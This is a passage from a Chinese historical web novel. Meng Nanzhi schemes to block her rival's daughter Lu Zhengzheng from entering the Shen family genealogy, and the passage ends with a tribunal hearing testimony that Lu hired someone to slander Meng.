按照她的本意,是直接杀进祖祠,阻止老族长把陆筝筝记入族谱。
可母亲却说那样太过愚钝,有些事情并不需要她亲自出面。
其实她听到现在,看陈茗央骂陆筝筝,还有陆妙妙揭穿陆筝筝的身世,挺爽的。
就是还没明白,母亲是怎么算准了陈茗央一定会来。
沈二婶为沈朝昭削了个苹果,递给她,“朝昭,说起来,我也许久未见你了,你现在和你母亲是越来越像了。”
沈朝昭接过苹果,难得腼腆地笑了笑,“谢谢二祖母。”
孟南枝对沈二婶笑道:“还要劳烦二婶活动下筋骨。”
沈二婶闻言站了起来,“那你和朝昭先歇着,我去去就来。”
说罢,便带着贴身嬷嬷,抬步向祖祠走去。
沈朝昭在她离开后,小声地同母亲问道:“能成吗?”
父亲一直都护着陆筝筝,她现在对任何可以拿捏陆筝筝的计划都没有太大信心。
孟南枝看着女儿如此小心的模样,浅笑道:“事在人为。”
陈茗央心悦萧临渊,比巨幕中的女儿还要心悦得疯狂。
她只需要向陈茗央透露萧临渊心悦陆筝筝,在陆筝筝纳入沈家族谱后,便会纳陆筝筝为侧妃一事。
剩下的,陈茗央自己便会把证据补齐。
而陆妙妙,本就与陆筝筝不合,以前只是一直没抓到陆筝筝的把柄而已。
如今抓住能拨了她颜面的机会,自然是不肯放过。
孟南枝今日教女儿的第一课,便是希望女儿在以后做事时,多动动脑子。
被骂甩鞭是很爽,但却容易被人利用。
尤其是林婉柔和陆筝筝这样的人,女儿是玩不过她们这对母女的。
巨幕中的女儿,就是在她们这对母女的刺激下,只会刁蛮地骂人、**,没有一点心机。
女儿沈朝昭因为爱慕萧临渊,和陈茗央的关系并不好。
陈茗央有国公府撑腰,在萧临渊荣登高位后,如愿成为了萧临渊的妃子。
而她的女儿,为了留在萧临渊身边,自甘堕落成为他上不得台面的妾室。
最后还被刺激得发了疯,陪着长子沈砚修**,只为想把陆筝筝踩在脚底下,有一天萧临渊能够重视于她。
想到此处,孟南枝的眸子暗了暗。
她的女儿天真烂漫,或许娇蛮,但心思却不坏。
却被林婉柔母女逼到那种地步。
她不可能轻易地饶过她们。
……
随着陆妙妙的话音落地,沈家祖祠内顿时炸开了锅。
沈家众人交头接耳,议论纷纷。
沈二叔面上青白一片,他就知道那林婉柔不是个好东西。
而她的女儿陆筝筝也有样学样的,竟然还在婚前失了贞。
老族长手中的朱砂笔再次颤抖起来,已经落下的那半个“继”字,晕上了红墨,仿佛成了沈家清誉上洗不掉的污点。
陆筝筝面红耳赤,恨不道把整个人塞进地缝里。
陆妙妙说的是事实,她完全无法反驳。
她甚至想到了父亲走后的第三年冬月,疼爱她的祖母突然不喜于她。
罚她站在门外,不让她进屋。
说她是孽障,说她母亲是……
总之,当年祖母的话要多难听就多难听。
后来,她和母亲的名字同时被陆家移出族谱。
她成了一个只有母亲,没有父亲的孩子。
这些年,她一直很听母亲的话,从来没有问过她的父亲是谁。
而陆家也做到了当年对母亲的承诺,从来没有一句关于她不是陆家子嗣的流言传出。
母亲与镇北侯在一起后,镇北侯待她如同亲女。
她享受到了期待已久的父爱。
可她仍觉得不够满足,她嫉妒沈朝昭,哪怕她再努力的在镇北侯面前表现。
镇北侯始终是沈朝昭的亲生父亲,而沈家也一直没有同意纳她入族谱。
眼下,经过她与母亲的努力,终于要成功了。
陈茗央和陆妙妙却突然出来,揭穿她所有的不堪。
若是侯爷执问于她,她不知道该怎么办。
而听完此话的沈卿知,只觉得大脑一阵天旋地转。
他怎么也没想到,林婉
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柔竟然瞒了他这么大的事。
他一直以为陆家将林婉柔赶出陆府,是因为发现了林婉柔和她的“**”。
而且当初,林婉柔也确实是这么和他说的。
她哭哭啼啼地跟他说,陆老太太知道她和他的事后,误以为陆筝筝是他的孩子,任她怎么解释都不听。
一气之下,把她和女儿陆筝筝都赶出了陆府。
这些年,他一直心疼陆筝筝受他牵连,对她心中有愧,反事都想着她,疼着她。
哪曾想到,她们母女竟然这般瞒着他。
沈卿知看向陆筝筝,眼中满是质问和失望,“她说的都是真的?”
陆筝筝苍白着脸,满面泪珠的辩解,“不是的,侯爷,不是的,您听我说,我母亲没有。”
“本侯问你,她说你不是陆家的子嗣到底是不是真的?”沈卿知双目欲裂。
陆筝筝再次无语泪下,不知该如何解释。
“她说的当然是真的。”
沈二婶已经带着嬷嬷到了祠堂,接下沈卿知的话,“侯爷,我已经派人查探过,这陆筝筝确实不是陆家的子嗣。”
她与孟南枝做了利益交换。
孟南枝帮她带好孙子,她自然会帮孟南枝阻止一些事实。
再说,她本来就不喜欢林婉柔。
有些私密的事,她不方便和人说,连沈二叔都不知道。
她与林婉柔的母亲,曾经是情敌。
能顺手坑她们这对母女一把,是她巴不得的事。
在她眼里,不管是林婉柔的母亲,还是林婉柔的父亲,以及林婉柔。
都不是好东西。
而沈二叔在看到沈二婶出来做实证后,面色更加难看。
这个老婆子,怎么能在外人面前落下自家人的面子。
然沈二婶却根本不管沈二叔的脸色,继续道:“至于这陆筝筝是不是婚前失了贞,我却是不知道,不过我带了嬷嬷过来,让嬷嬷查看一下便是。”
陆筝筝满头冷汗,已经完全不知道该怎么办了。
正当她准备再以旧法装晕时,母亲林婉柔带着奕王萧临渊从远而至。
他一身玄色锦衣,如同天神而降。
“筝筝是本王的人,你可还是要验?”
第153章 为什么要打我母亲?
隔壁的孟南枝听笑了。
萧临渊竟然亲自出面。
陆筝筝果真是命中注定女主,难灭的很。
“奕王?”
沈朝昭惊疑不定地站了起来。
她才离京多久,陆筝筝不仅抢了她的父亲,竟然还攀上了奕王。
孟南枝点头,状似不经意地问道:“昭儿和奕王相熟吗?”
她想确认一下,如今的女儿对萧临渊是否有爱慕之情。
沈朝昭见母亲安稳地坐着,看了眼隔壁的高墙,强忍住想要冲过去的想法,抿唇道:“不熟。”
可她低垂着不敢直视孟南枝的眼睛,明显言不由衷。
孟南枝了然,没再多问,示意她继续坐下来。
沈朝昭秀眉微蹙,并不是很想坐下,“我们不要过去吗?”
孟南枝目光落在女儿并不能完全掩饰情绪的小脸上,缓缓起身,温声道:“昭儿,若是此刻过去,你准备怎么解决?”
沈朝昭理所当然道:“自然是揭穿她的真面目。”
孟南枝问:“什么真面目?”
沈朝昭道:“伪善、表里不一、虚情假意。”
孟南枝:“别人信吗?”
沈朝昭沉默,以她曾经在陆筝筝面前受过的委屈来看。
别人只会相信自己看到的。
孟南枝暗叹口气,“昭儿,有些时候,去现场并不一定能解决问题。”
沈朝昭不解,“那该怎么解决?”
孟南枝温和浅笑,“合理利用资源,多方布线,环环相扣。”
沈朝昭闻言陷入沉思。
在一旁正无聊摧花的江鱼听到此处,也陷入沉思。
……
沈家祖祠,满室寂静。
陆筝筝如遇到了救星,准备上前钻到萧临渊的怀里,却被林婉柔一个眼神止住。
在林婉柔的示意下,陆筝筝想起母亲给她立的规矩,立马板着一张脸,不去看萧临渊。
母亲说,这叫故擒欲纵。
像萧临渊这样尊贵不缺女人爱慕的男人,只有不理他,才能勾着他。
越让他看到自己所承受的委屈,他才能越心疼自己。
也会给予自己更多。
沈二婶对萧临渊施礼,轻声道:“臣妇并不知陆姑娘竟与奕王殿下有关,只是陆姑娘若婚前失贞,且生父不明,却是不好入我沈家族谱的。”
沈二婶对于萧临渊的质问,其实是有些怯意的。
但她既然答应了孟南枝,总归是要出点力。
要不然,显得自己多没用。
也就没有了合作的价值。
萧临渊冷冷地刮了她一眼,“镇北侯沈府什么时候轮到一个妇人做主了?”
沈二婶面色僵了僵,仍坚持道:“沈府确实轮不到臣妇做主,但沈府的族规写得清清楚楚。”
“凡我沈家族女,若有婚前失贞、私通苟合之事,一经查实,轻则家法惩戒、禁足终身,重则逐出宗族,永不相认,以正家风。”
“陆筝筝若真是婚前失贞,便违背了沈家族规,不可再入我沈家族谱。”
萧临渊被驳了脸面,眸中全是冷意,“本王再说一遍,陆筝筝是本王的人。”
说罢,他又走到陆筝筝面前,将她护在身侧。
在场之人,谁不是人精。
全都回过味来,陆筝筝确实是失贞了,失贞的对象还是萧临渊。
沈二叔脸色漆黑地走过来,按住沈二婶的手,示意她少说两句。
沈二婶默默地看了隔壁高墙一眼,再次硬声道:“奕王殿下,即便陆筝筝是您的人,她也违反了沈家族规。”
萧临渊双眼微眯,看向沈卿知,“镇北侯,这便是你们沈府的态度?”
还沉浸在林婉柔瞒了他陆筝筝身世的沈卿知,总算回过神。
他对萧临渊拱了拱手道:“奕王殿下,此地不是议事之地,还请移向内府。”
林父给他们沈府画了大柄,萧临渊又承诺了会纳陆筝筝为妃。
陆筝筝婚前失贞是有错,但对比来说,利大于弊。
至于陆筝筝是不是陆府的子嗣。
沈卿知狠狠地瞪了林婉柔一眼。
他会寻她问个清楚。
自萧临渊进来,便默不作声的陈茗央见状,突然上前走到萧临渊身侧。
亲昵道:“临渊哥哥,你可知陆筝筝她并非是陆府的子嗣,而且父亲身份不明?”
萧临
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渊目光落在陆筝筝的发间,盯着那颗鸽血石,突然想起七巧宴上,谢归舟说过的那段话。
眸色不明地转了转手中板指,握住陆筝筝的玉手,道:“本王并不在意她的身世,只在意她这个人。”
陆筝筝闻言仰起小脸看向萧临渊,被他眼中的情意灼得心口砰砰直跳。
母亲说得对,只要按她说的做,萧临渊果真会爱慕于她。
陈茗央却是被萧临渊这话伤得心口直疼,恶狠狠的眼睛瞪向陆筝筝。
陆筝筝仿佛被吓着一般,露出小白兔般的惊慌,缩着脑袋道:“茗央郡主,你为何要那般看我?好吓人。”
萧临渊闻言看向陈茗央,“茗央,这里不是你该来的地方,回去吧。”
陈茗央一口闷血想要吐在陆筝筝的脸上。
怎么没能吓死她!
竟然还向临渊哥哥告状。
陈茗央拽住萧临渊的衣角,“临渊哥哥,你别被陆筝筝给骗了,她是在故意勾引你。”
只是她话音还未落地,脸上就落了一巴掌。
一直未曾说话的林婉柔,面上满是怒意道:“茗央郡主,妾身和女儿是身份不及您,但您也至于如此污辱妾身的女儿。”
在沈家族人面前,林婉柔始终记得自己要扮演一个护女的母亲。
只有如此,才能挽回一下被眼前人毁掉的名声。
她还要感谢孟南枝,这都是跟她学的。
陈茗央捂着脸,满脸不置信,抬手便打了回去。
“区区一个侯府平妻,竟然敢打本郡主,你以为有临渊哥哥撑腰,便可以为所欲为了?”
陈茗央下手很重,一个巴掌差点把林婉柔的脸打出了血。
“母亲。”
陆筝筝见状连忙护在林婉柔面前,直视陈茗央,“你为什么要打我母亲?”
陈茗央甩了下发疼的手,“陆筝筝,你要点脸不,是你母亲先打郡主的,本郡主只是还手。怎么?你也想挨打?”
陆筝筝不敢,求助似的看向萧临渊。
萧临渊目光冷淡地看了林婉柔一眼,这才语气不容置疑地对陈茗央说道:“茗央,若不想我生气,便赶紧回去。”
第154章 捉拿嫌犯陆筝筝
陈茗央瞪了林婉柔和陆筝筝一眼,拂袖带着陆妙妙离开。
这对母女,简直有病。
挨了一巴掌的帐早晚还要和她们清算。
陆筝筝抬手去摸母亲的脸,“母亲,您没事吧?”
刚刚母亲护着她的模样,陆筝筝好感动。
这是母亲第一次在外人面前护她,还为她挨了打。
只是萧临渊的举动让她有些失望,他竟然护着陈茗央。
明明是陈茗央先侮辱于她,而且还敢动手打自己母亲,他难道不应该斥责她,或打回去吗?
林婉柔摇了摇头,盯着陈茗央的背影暗自冷笑。
小娃子一个,还想跟她斗。
外人已全部清场,萧临渊扫了眼沈家在场的所有族人,“继续吧。”
沈卿知与沈二叔对视一眼。
这是逼着他们表态,一定要把陆筝筝纳入沈家族谱呢。
沈老族长的心态已经快要崩了,如沈二婶所说,按族规确实不该将陆筝筝纳入沈家族谱。
可奕王却如此在他们面前施压。
他身为一族之长,很难得。
一切缘由,归根结底都在于那林氏。
身为侯府平妻,自己身子不正,还带着女儿那般行事。
完全带坏了他们沈家的风气。
沈老族长觉得,自己若真在族谱在落下了继女沈筝筝的名字,只怕等他到了黄泉,祖宗们都得按着他的脑袋揍。
想了想,他尽量语气平缓道:“奕王殿下,并非老夫不同意把陆筝筝记入族谱,而是依族规,确实是不合适。”
萧临渊皱眉,“既然沈老非要计较,本王便替筝筝解释两句,当初筝筝并非故意失贞,而是本王被人下了药,筝筝为救本王才失了贞节于本王。”
“本王承诺,待洪灾过后,便会向沈府求取筝筝为妃。”
话说到此种地步,沈府族人,皆皆低语。
沈老族长也没有话说,只得暗叹一口气后,点头应道:“如此,也罢。”
沈二婶闻言再次瞧了瞧隔壁的高墙,有些着急,“族长,只怕不妥,陆筝筝的身世还不明呢,入了族谱,岂不混淆了沈家血脉。”
哪怕是继女,族谱上也是要写明生父生母名字的。
生父不详,便是不明。
沈二婶的话,没人提出异议。
因为都深知她说得有道理,便都将目光移向林婉柔,等她解释。
林婉柔不惧众人的目光,坚定道:“妾身冤枉,筝筝就是陆家的血脉,妾身是被陆郎的妾室陷害,这才被陆家赶出了府。”
“若筝筝不是陆家的血脉,那这些年为何没有一点风言风语出来?妙妙那孩子从小就嫉妒筝筝,她是看不得筝筝日子好过,这才出来故意编排筝筝。”
“这些事,妾身早前便已经和侯爷说过了的。”说到此处,林婉柔满目委屈地看向沈卿知。
“侯爷,您知道的,当时妾身因何被赶出侯府。您说了,不会计较这些的,会把筝筝当作您的亲生女儿。”
她知道,沈卿知肯定起疑了,但她不能承认。
只要她不承认,沈家的人就不能真的拿她怎么着,拿女儿怎么着。
沈卿知心中惊疑不定,胡妙妙当时说得有板有眼,他已经信了。
可林婉柔说的话也不像是假的。
他将目光落在陆筝筝身上,看着她那与陆家没有一点相似的脸庞,觉得林婉柔是在骗他。
再不相似的人,多少也有几分肖似吧。
就比如自己的三个子女,哪怕长得像孟南枝,但某个五官,也是有他的影子的。
林婉柔见沈卿知不说话,一直盯着陆筝筝瞧,攥紧了手中帕子,再下重磅道:
“侯爷,妾身来时还和父亲说,您这些年一直把筝筝当做亲生女儿看待,父亲还夸您是个重情重义的好男人。”
“若您现在因为旁人的几句闲言碎语就怀疑妾身和筝筝,传出去,您让妾身和筝筝怎么活呀。”
说罢,那晶莹的泪珠子便如线一般掉落。
楚楚可怜,当真是委屈之极。
沈卿知听到此处,心中一凛。
林父刚和他承诺会为他争取科举誊抄一职,奕王又当着沈家族人的面保证会娶陆筝筝为妃。
若此时与林婉柔闹僵,实在不是明智之举。
他清了清嗓子,勉强挤出一丝笑容,“婉柔莫要多心,本侯自然是相信你们的。”
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林婉柔见他松口,暗暗松了口气。
而一直提着心的陆筝筝,紧张的表情也松懈下来。
萧临渊见沈卿知已表态,满意地点了点头,“既然如此,筝筝记族之事,照旧吧。”
沈二婶还想再说话,却没办法说了。
因为她已经被沈二叔严格控制了。
沈二叔怕她再多嘴,已经捂着她的嘴巴,拖着她到了祖祠的角落。
没有了沈二婶的干扰,沈老族长只得无奈地叹了口气,“既然奕王殿下和侯爷都已发话,记族之事,便照旧吧。”
说罢,他便重新摊开族谱,准备接着登记陆筝筝的名字。
然而,他手中的那根朱砂笔,再次刚落下半个“继”字,七八个褐衣衙役便浩浩荡荡地闯了进来。
领头的捕头腰间别着铁尺,嗓门极大,“奉府尹大人令,捉拿嫌犯陆筝筝。”
又是他!
沈卿知甫一见他,便恼了,“放肆!给本侯滚出去。这是我镇北侯沈家祖祠,岂是你们能撒野之地?”
刘捕头垂手而立,扫了一角厅内的众人。
在看到奕王萧临渊时,暗自牙疼。
却只得硬着头皮道:“侯爷息怒,有人举证陆筝筝涉嫌**,现在三司会审,正等着属下带她回去,还望侯爷莫要阻拦得好。”
沈卿知闻言惊呼,“什么**?她一个大门不出二门不迈的弱女子,能买什么**什么人?”
刘捕头闭口不言,一句话也不肯多说。
冲他吼什么。
他就只是一个勤勤恳恳的打工人。
只负责带人,不负责解说。
林婉柔暗自攥紧了帕子,走到他身侧,柔声问道:“敢问刘捕头,是何人举证了我们家筝筝?”
刘捕头依旧闭口不言。
再次跪在地上等着被记入族谱的陆筝筝双腿发软,求助似的看向萧临渊。
她只是想入沈家祖谱而已,怎么好像所有人都在变着法地找她的麻烦。
萧临渊皱眉,转动板指,“主审人是谁?”
刘捕头拱手道:“回奕王殿下,主审人乃是邢部郎中陈大人。”
邢部郎中陈大人,也就是曹宛清的夫君。
第155章 孟,南,枝!
三司会审。
哪怕是提审奕王萧临渊,他本人也只能乖乖地跟着前去,而不能拒绝。
所以萧临渊在询问主审人是谁过后,便沉默下来。
陈郎中虽为太子派系,但为人行事公正。
若无人证物证,不会轻易下令抓人。
沈卿知阴沉的眸子一直在林婉柔和陆筝筝之间来回探看。
今日经历的事已经快要击毁他对她们母女的认知。
现在竟然又来一个**。
前面的事,不管是婚前失贞还是身世不明。
不牵扯律法,他可以糊弄过去。
但**,若被证实……
将陆筝筝记入沈家族谱之事,便就真的黄了。
林婉柔不甘心地再次询问,“刘捕头,此事非同小可,还请透露一下是何人举证?我儿又害了何人?”
她也好提前做出对策。
刘捕头摇头,“回夫人,属下只负责奉命带人,其他一概不知。夫人若有疑问,可到公堂之上问个清楚。”
并非他不说,而是他这次是真的不知道。
他也有些奇怪,眼前柔柔弱弱的陆姑娘,不像是会**的样子。
只是,他身为捕头,也见过许多稀奇古怪的案例。
人不可貌相,保不准她就是那种心狠手辣的人呢。
刘捕头说罢,便一挥手,身后的衙役们上前就要去拿陆筝筝。
“别碰我。”
陆筝筝唇色泛白,指甲陷入掌心,在母亲的示意下,站起身子拽住萧临渊的衣角。
楚楚可怜道:“奕王殿下,我是被冤枉的,我根本没有**。”
萧临渊眸色温柔,挽住她的手,“别怕,有本王在。”
他转头对刘捕头冷声道:“你们先去复命,本王稍后会亲自带着她过去。”
“这……”
刘捕头迟疑,原则上不可以,但奕王的面子他却又不能不给。
他想了想,折中道:“奕王殿下,府尹大人交代属下巳时前必须将人赶回去。您看,属下在外面等着如何?”
“本王还能带着她跑了?”萧临渊不满,唇角一直勾着的笑明显带着寒意。
刘捕头连忙躬身道:“属下并没有不信奕王殿下的想法,实在是属下有命在身。”
萧临渊眸色阴冷,“出去。”
“是,属下这就在外面等着。”
刘捕头闻言顺从地带着几个衙役,躬身退回门外。
从见到奕王那一刻,他就知道今天的工作不好干。
但违规放任陆筝筝自己去,是万万不行的。
晚一点是能力有问题,但什么也不干的空手回去,就是态度有问题了。
府尹最讨厌态度有问题的下属。
萧临渊在刘捕头出去后,目光扫向祖祠内低声细语的沈家族人,语气寒冷,“今日之事,本王不希望在外面听到一句!”
沈家族人闻言肃穆。
言罢,萧临渊又对沈卿知说道:“等今日事罢,再择吉日开祖祠将筝筝记入族谱。”
这是在护她呢。
陆筝筝感动得一塌糊涂,双眼如珍珠欲滴。
沈卿知皱着眉头刚想应下。
沈老族长一句话便堵**萧临渊。
“老夫决定,不会再开祖祠将陆筝筝记入我沈家族谱!”
他手中还拿着那根朱砂笔,泛黄的族谱上晕染了两朵厚重的红墨。
红墨越印越深,几乎快要溢满整页。
沈老族长满眼死气地将族谱收了起来。
他想明白了,这是老祖宗的意志在告诉他,陆筝筝不该入沈家族谱。
她和他们沈家犯冲。
他当初就该坚定自己的意见,不同意她入族谱一事。
哪怕**没人给他抬棺,至少还能对得起列祖列宗。
林婉柔和陆筝筝闻言,同时惊呼,“族长!”
萧临渊眉头微蹙,不满地看向沈老族长。
沈老族长敷衍地对萧临渊拱了拱手,道:“奕王殿下,老夫身体有恙,先行告退。”
他此前同意了,此刻没脸再用族规去解释自己为何突然不同意。
沈卿知上前扶住沈老族长,低声道:“三祖叔,筝筝**之事,还未定。此事,我们可以改日再议。”
沈老族长只摆手,不说话。
整个人半躬着身子,仿佛突然老了好几岁。
陆筝筝见状求助似的看向母亲林婉柔。
林婉柔对她如此娇弱姿态有些不满,抬首示意她继续绑定奕王萧临渊。
陆筝筝只好再次拽住了萧临渊的衣角。
萧临渊眸子暗了暗,看不出情绪地轻轻拍了拍她的脑袋
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。
……
而隔壁一直稳坐如山的孟南枝,唇角微弯,终于缓缓起身站了起来。
倒没想到沈老族长会突然改口,直接否决了再开祖祠。
也算是意外之喜。
沈朝昭看向母亲的眸子里充满了惊叹。
原来真的可以她不出面,就能解决问题。
这些,以前从来都没有人教过她。
沈朝昭道:“我们现在去哪里?”
孟南枝抬眼看了下高空,眸子清冷,“去刑部。”
有些帐,要一并清算。
陆筝筝心中打鼓地和萧临渊一起随刘捕快赶到刑部的时候,后面还跟着沈卿知和林婉柔。
刑部审案厅,刑部侍郎陈大人位坐主位,两侧分别坐着大理寺侍郎和都察院侍郎。
三人皆是一脸严肃,目光如炬地扫视着走进来的众人。
待见到领头的竟然是奕王萧临渊时,大理寺侍郎和都察院侍郎互视一眼,面面相觑。
陈大人突然召集他们审案,可没说这案子跟奕王有关。
早知道,就推脱事忙,交由同僚来办了。
三人起身对萧临渊拱手行礼,“臣,见过奕王殿下。”
萧临渊径直走到旁侧的太师椅上坐下,“审的是何案?”
陈大人不卑不亢,语气如常道:“有人举证陆筝筝**。”
回罢萧临渊,他便重拍惊木,看着堂下道:“嫌犯陆筝筝,你可知罪?!”
陆筝筝身子微颤,娇滴滴的面上,一脸无辜道:“大人,我是被冤枉的,我根本没有做过这样的事。”
林婉柔上前一步,福了福身道:“陈大人,小女一向乖巧懂事,绝不可能做出**这等大逆不道之事,还请大人明察。”
陈大人神色严肃,“本官给你一次机会,你若如实说出自己的罪证,本官可从轻处罚,可你若执意不说,待本官将人证物证列举出来,那便休怪本官按律严惩。”
陆筝筝心里发虚地看了眼母亲,“回大人,我真的是冤枉的。”
林婉柔却是心中一沉,连忙问道:“不知是何人举证?被害人又是谁?”
陈大人轻拍惊木,“既如此,传举证人上堂。”
林婉柔转头看向来人,瞳孔放大,咬牙切齿。
“孟,南,枝!”
第156章 不能污蔑清白,就把人杀了
孟南枝一脸笑意地欣赏林婉柔完全变色的脸,“没错,是我。”
“南姨!”
陆筝筝也是一脸不置信,竟然是孟南枝告的她。
而在看到孟南枝身后的沈朝昭时,更是惊得张大一嘴巴,“朝昭,你怎么回来了?”
这个时候,她难道不应该在避暑山庄吗?
沈朝昭没去看陆筝筝,而是先将目光落在了父亲沈卿知身上。
可哪怕陆筝筝已经叫出了她的名字,父亲也好似未曾注意到她。
沈卿知神色复杂地走到孟南枝身前,不满道:“南枝,你可知今天是什么日子?为什么非要在今日举证筝筝?”
孟南枝注意到女儿眼中的失落,看向沈卿知的目光中只有恶心,“什么日子?是你出生的日子,还是你快死的日子?”
沈卿知被她言语中的冷漠,问得一窒,“南枝,你与我,为何不能好好说话?”
孟南枝冷哼一声,不想理他。
她对正堂在坐的三位,福了一礼,“孟南枝见过诸位大人。”
言罢,又对侧位的萧临渊福了一礼,“见过奕王殿下。”
即便她对萧临渊存在恨意,但该有的礼节却不能少。
萧临渊眸色深暗,转动了两下板指后,唇角才再次勾出笑意,“南枝姐不必多礼。”
而后温和地看向沈朝昭,“朝昭什么时候回来的?”
沈朝昭微微点头,笑得有些僵硬,“昨日才回的。”
萧临渊闻言转动板指,没再说话。
沈朝昭眼帘垂下来,情绪有些低落。
而沈卿知仿佛此刻才注意到女儿般,走到沈朝昭面前,道:“朝昭回来了怎么也不回府上?太后可还好?”
沈朝昭在听到父亲问的第一句话时,还有些高兴。
在听到第二句话时,眉头便皱了起来,敷衍道:“太后安好。”
沈卿知满脸笑意地点头,“那就好,那就好。”
他说完,又将注意力放回了陆筝筝的案子上,皱眉同陈大人说道:“陈大人,此乃沈府私事,能否允我与南枝商谈片刻。”
“私事?”
陈大人重拍惊木,“审案厅上皆为公事,镇北侯,还请遵从审案厅规。”
沈卿知面色微僵,只好退回到原位。
他有官职在身,若不遵从审案厅规,明日**他的折子就会传遍整个礼部。
林婉柔深知曹宛清与孟南枝交好,作为曹宛清夫君的陈大人,不可能会给沈卿知脸面。
今日若孟南枝无实证还好,若有实证,只怕女儿难再出刑部的大门。
还有可能,会被自己也搭进去。
她额间渗出冷汗,攥紧了帕子,眸中含泪,如受尽了委屈,道:
“南枝,我知道你是不满我嫁于侯爷,不想筝筝入了沈家族谱,夺了朝昭沈家长女的名分。”
“可我的筝儿,她只是随我以继女身份记入沈家,你也不至于记恨到如此地步,非要陷害于她吧?”
两句话,便将公事,逆转为私事。
明着告诉三位大人,举证之事是假的。
一切都归责于孟南枝的自私。
言罢,她又对沈朝昭哭诉道:“朝昭,这些年,我自认对你如同亲女,比待筝儿还亲,筝儿也一直把你当作亲妹妹看待。”
“你怎么突然在你母亲回来后,为了不让筝儿入沈家族谱,倒戈一耙,让你母亲陷害筝儿呢?”
沈朝昭闻言恼了火,“你在说什么?!你什么时候待我如同亲女了,谁稀罕与她做姐妹。”
“明明是她自己做了错事,怎么就是我母亲陷害于她了?”
孟南枝气笑了,自她溺水回来后,不是第一次见林婉柔的歪理邪说。
还真是每一次见,都有每一次的新奇。
她若身为男子,不去做使节,还真是亏大了。
孟南枝按住气得快要控制不住脾气的女儿,冷漠的冲林婉柔道:
“林婉柔,你自称是我好友,对我应该有所了解,我既然敢状告于她,并请三司会审,自然有足够的证据。”
“你还是趁现在,好好地想想,等下准备怎么替你的女儿做辩护吧。”
而在孟南枝话音落下,陈大人也重重地再次拍了一下惊木。
“林氏,公堂之
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事,岂能儿戏!本官若未询你辩护,切莫再次出言!”
林婉柔只得不甘地福了福身子,“是。”
她确认了,孟南枝是真的掌握了证据。
陈大人眸色平和地看向孟南枝,公事公办道:“孟氏,你既状告陆筝筝买**,可有证据?”
孟南枝微微福身,平声道:“回大人,还请传证人上堂。”
陈大人颔首后,门口守着的江鱼便对远处挥了挥手。
接近着,两个侍兵便拖着一个身形瘦弱、满身是伤痕的男子上了审案厅。
陆筝筝见状,提着的心终于沉了下去,如同死寂。
来人,是她的马夫,黑水。
林婉柔则攥紧了帕子,暗恨将军府把守太严。
这才导致这马夫一直未被她托关系给放出来,这才给了孟南枝拿捏她的机会。
而萧临渊则是停下了转动板指的动作,唇角噙着的笑意越发冷漠。
黑水被拖到大厅中央,便双腿发软地跪了下来,口齿不清道:“小、小人黑水,见过大人。”
陈大人道:“黑水,你且将你所知之事,如实道来。若有半句虚言,本官将按律严惩。”
黑水有些后怕地看了孟南枝一眼,才声音发颤地开口道:“回大人,小人是陆姑娘的马夫。这些年,不管陆姑娘去哪里,都是小人带着。”
“大人应该知道荷风宴一事,有一个叫铁柱的曾污蔑孟夫人的清白,那个铁柱便是镇北侯府上的麻子找的人。”
陈大人点头,此事他自然清楚。
为了这些事,他的夫人曹宛清回家后没少自责,怪自己不该宴请孟南枝。
害孟南枝受了无冕之灾。
黑水接着道:“七月初的那场大雨夜里,小人曾亲眼看到陆姑娘见了麻子,询问麻子有没有将人安顿好。”
“安顿的这个人,就是那个叫铁柱的。当时陆姑娘还交代麻子,一定要给铁柱说清楚,能污蔑清白,就污蔑清白,不能污蔑清白,就把人杀了。”
林婉柔脸色瞬间煞白,忍不住出声道:“大人,他是胡说的,我从未做过此事。”
第157章 依律杖三十,徒三年
“你个贱奴,满口胡言!”
沈卿知满脸震惊,指着黑水喝斥道。
言罢,他又不掩怒气地对高堂拱手道:“陈大人,筝筝是本侯从小看着长大的,她温柔善良,断不会做出此事,定是这贱奴故意构陷。”
他当初为此事受了八杖刑罚。
他宁愿相信这是林婉柔嫉妒孟南枝做的。
也不愿意相信指使人竟然是这个在他眼里娇弱可怜,被他视作亲女的陆筝筝。
“侯爷,谢谢您相信筝筝。”
无助的陆筝筝如得到了依靠,一脸感动地看向沈卿知。
沈朝昭难掩脾气,“已经有人证在场,父亲为何还要向着她。她可是污蔑了我母亲,还想害了我母亲。”
她也是才知道母亲回来后,竟然经历了这么多“磨难”。
沈卿知扭头喝斥道:“朝昭,为父之前是怎么教你的。大人交谈时,小孩子不要随意插话。”
沈朝昭噎了噎,碍于严父教育阴影,没再说话。
只是她那双眸子不时看看父亲,又看看陆筝筝攥着父亲衣角,一副可怜兮兮好似真被冤枉的模样。
只恨自己出来时,没随身带着鞭子。
若有机会,自己一定抽死她。
孟南枝察觉出女儿对沈卿知的“惧怕”,眉头微蹙,紧紧握住女儿的手,冷声道:
“沈卿知,我不在时,你便是这么教导我女儿的?连她为母辩护也不允许?这公堂是你家开的?只允许你们说话才行?”
沈卿知暗瞪了沈朝昭一眼,面对孟南枝时,语气有所缓和,“南枝,朝昭还小,什么也不知道,这种场合,不适合她来。”
孟南枝丝毫不留任何情面道:“什么场合?这里是公堂,不是你沈府的后院,不是你想让谁说话就让谁说话,不想让谁说话就不许谁说话的地方。”
“朝昭说得没错,如今人证在场,陆筝筝谋划买凶污蔑我一事证据确凿,你却还一味偏袒她,这是何道理?”
沈卿知被孟南枝说得有些语塞,面色难堪道:“南枝,我并非偏袒,只是此事关系重大,不能仅凭这贱奴的一面之词就定了筝筝的罪。”
大理寺侍郎和都察院侍郎,再次默默互视一眼。
觉得这镇北侯对待亲女和继女的态度,再次刷新了他们的认识。
满京城,能偏袒继女到到这种地步的,还真算是头一份。
也怪不得溺水消失十年后回来的孟南枝要与他和离。
陈大人重击惊木,“镇北侯,请注意审案厅规,本官未曾问话,你休得辩言。”
沈卿知还欲张口辩驳的嘴巴,只得再次闭上。
陆筝筝得了沈卿知的提醒,辩解道:“大人,我视南姨为亲姨,断不会做出**南姨之事,此人口中所言全是诬蔑,还请大人明查。”
陈大人语气严肃道:“一切以证据说话。”
林婉柔攥着帕子,上前一步道:“大人,这黑水是小女的马夫未错,但您看他满身伤痕,说不好是否为屈打成招,还望大人明查。”
陈大人微微颔首,看向黑水道:“黑水,你可曾遭受屈打成招之事?如实出来,本官定会为你做主。”
黑水想起孟南枝那日去过牢狱后的情景,忍不住打了个寒颤,连忙摇头道:“回大人,小人身上的伤痕皆是旧伤,小人所言句句属实,并未受过任何屈打。”
陈大人道:“可还有佐证?”
大衍律例,定罪人证为主,物证为辅。
